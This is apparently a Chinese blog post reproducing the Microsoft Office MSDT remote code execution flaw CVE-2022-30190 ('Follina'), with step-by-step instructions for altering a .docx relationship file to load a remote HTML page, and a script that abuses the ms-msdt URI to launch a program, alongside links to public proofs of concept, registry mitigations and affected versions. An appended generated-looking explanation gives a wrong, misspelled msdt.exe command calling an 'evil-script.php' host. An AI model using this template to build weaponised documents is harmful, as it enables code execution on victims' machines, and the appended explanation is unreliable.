【漏洞复现】Microsoft Office MSDT 远程代码执行漏洞 (CVE-2022-30190)

0x01 Microsoft Office

Microsoft Office是由Microsoft(微软)公司开发的一套办公软件套装。常用组件有 Word、Excel、PowerPoint等。

0x02 漏洞简介

该文档使用 Word 远程模板功能从远程网络服务器检索 HTML 文件,该服务器使用 ms-msdt MSProtocol URI 方案加载代码并执行 PowerShell,禁用宏,仍能通过MSDT功能执行代码(恶意 Word 文档通常用于通过宏执行代码)。Microsoft Defender 当前无法阻止执行。受保护的视图启动无需打开文档即可运行。

0x03 漏洞复现

步骤:

1、 新建一个word 文档,在里面随便输入东西

 2、 将 word 文档后缀更改为 zip

3、 将 zip 包解压打开,编辑文件夹下的 word 目录下的_rels 下的document.xml.rels

 4 、 按照格式加入

<Relationship  Id="rId1337" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObje ct" Target="mhtml:http://localhost:80/exploit.html!x-usc:http://localhost:80/exploit.html" TargetMode="External"/>

5、 然后将文件夹打包成 zip,再改后缀为docx

6、 建一个文件夹作为web 站点目录,新建html 文件添加

<script>
location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=?
IT_LaunchMethod=ContextMenu IT_BrowseForFile=/../../$(\\\\localhost\\c$\\windows\\system32\\calc)/.exe\"";
</script>

7、 点开改好后的word 文档即可

 目前发现的POC(弹出计算器)

GitHub - chvancooten/follina.py: POC to replicate the full 'Follina' Office RCE vulnerability for testing purposesPOC to replicate the full 'Follina' Office RCE vulnerability for testing purposes - GitHub - chvancooten/follina.py: POC to replicate the full 'Follina' Office RCE vulnerability for testing purposeshttps://github.com/chvancooten/follina.py

GitHub - onecloudemoji/CVE-2022-30190: CVE-2022-30190 Follina POCCVE-2022-30190 Follina POC. Contribute to onecloudemoji/CVE-2022-30190 development by creating an account on GitHub.https://github.com/onecloudemoji/CVE-2022-30190

作者给出的几种方法

0x04 漏洞评定

  • 公开程度:已发现在野利用

  • 利用条件:需要打开或点击特定文件

  • 漏洞危害:高危 任意代码执行

0x05 修复方案

官方修复方案:

目前微软暂未针对此漏洞发布安全补丁,提供了临时修复措施进行防护:

禁用MSDT URL协议

1、以管理员身份运行命令提示符。

2、备份注册表项后,执行命令

reg export HKEY_CLASSES_ROOT\ms-msdt filename

3、再执行命令

reg delete HKEY_CLASSES_ROOT\ms-msdt /f

撤销该禁用:

1、以管理员身份运行命令提示符。

2、备份注册表项后,执行命令

reg import filename

官方参考链接:

https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/

Microsoft Defender在1.367.719.0及以上版本支持此漏洞的检测和防护,Microsoft Defender for Endpoint 已为用户提供检测和警报;Microsoft365 Defender门户中的以下警报标题可以提示网络上的威胁活动:Office 应用程序的可疑行为、Msdt.exe 的可疑行为。

0x05 影响范围

影响版本:

Windows Server 2012 R2 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 (Server Core installation)
Windows Server 2012
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows RT 8.1
Windows 8.1 for x64-based systems
Windows 8.1 for 32-bit systems
Windows 7 for x64-based Systems Service Pack 1
Windows 7 for 32-bit Systems Service Pack 1
Windows Server 2016 (Server Core installation)
Windows Server 2016
Windows 10 Version 1607 for x64-based Systems
Windows 10 Version 1607 for 32-bit Systems
Windows 10 for x64-based Systems
Windows 10 for 32-bit Systems
Windows 10 Version 21H2 for x64-based Systems
Windows 10 Version 21H2 for ARM64-based Systems
Windows 10 Version 21H2 for 32-bit Systems
Windows 11 for ARM64-based Systems
Windows 11 for x64-based Systems
Windows Server, version 20H2 (Server Core Installation)
Windows 10 Version 20H2 for ARM64-based Systems
Windows 10 Version 20H2 for 32-bit Systems
Windows 10 Version 20H2 for x64-based Systems
Windows Server 2022 Azure Edition Core Hotpatch
Windows Server 2022 (Server Core installation)
Windows Server 2022
Windows 10 Version 21H1 for 32-bit Systems
Windows 10 Version 21H1 for ARM64-based Systems
Windows 10 Version 21H1 for x64-based Systems
Windows Server 2019 (Server Core installation)
Windows Server 2019
Windows 10 Version 1809 for ARM64-based Systems
Windows 10 Version 1809 for x64-based Systems
Windows 10 Version 1809 for 32-bit Systems
 

其他修复方案:

1、关闭资源管理器的预览窗格,不轻易打开陌生链接或下载来历不明的文档;

2、如果您使用Microsoft Defender的 Attack Surface Reduction(ASR)规则,则可在Block模式下激活“阻止所有Office应用程序创建子进程”规则。若您还没有使用ASR规则,可先在Audit模式下运行规则,观察结果以确保不会对系统造成不利影响;

3、通过创建ASL规则防止Office产生子进程:

  • 4
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 7
    评论
CVE-2022-30190是一个针对Microsoft漏洞,被称为msdt远程代码执行漏洞。该漏洞允许攻击者通过利用命令行工具"msdt.exe"的特定参数进行远程代码执行。以下是关于该漏洞复现过程。 首先,我们需要使用攻击者控制的远程服务器,以便在受影响的目标系统上执行恶意代码。我们创建以下PHP脚本,将其上传到我们的远程服务器上: ``` <?php system('calc.exe'); ?> ``` 这段代码将在目标系统上执行计算器应用程序,然后我们将通过"msdt.exe"命令行工具的特定参数利用该漏洞。 在受影响的目标系统上,我们将打开命令提示符,并执行以下命令: ``` msdt.exe "http://your-remote-server.com/evil-script.php" /id "netwoCpl" /showUI ``` 上述命令将启动"msdt.exe"并使用指定的URL作为参数,同时还指定了"networkCpl"作为"msdt.exe"的标识符。最后,使用"/showUI"参数显示用户界面。 当目标系统执行此命令时,"msdt.exe"会检索远程服务器上的脚本文件,并尝试执行该脚本。由于脚本文件具有恶意代码,它将在目标系统上执行计算器应用程序。 这就是CVE-2022-30190 msdt远程代码执行漏洞的一个简单复现过程。然而,值得注意的是,这只是为了说明该漏洞的原理,实际的攻击可能需要更复杂的技术和步骤。为了保护系统安全,我们建议及时更新受影响的软件,以修补此漏洞。还应该维护良好的网络安全措施,以减少被利用的风险。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值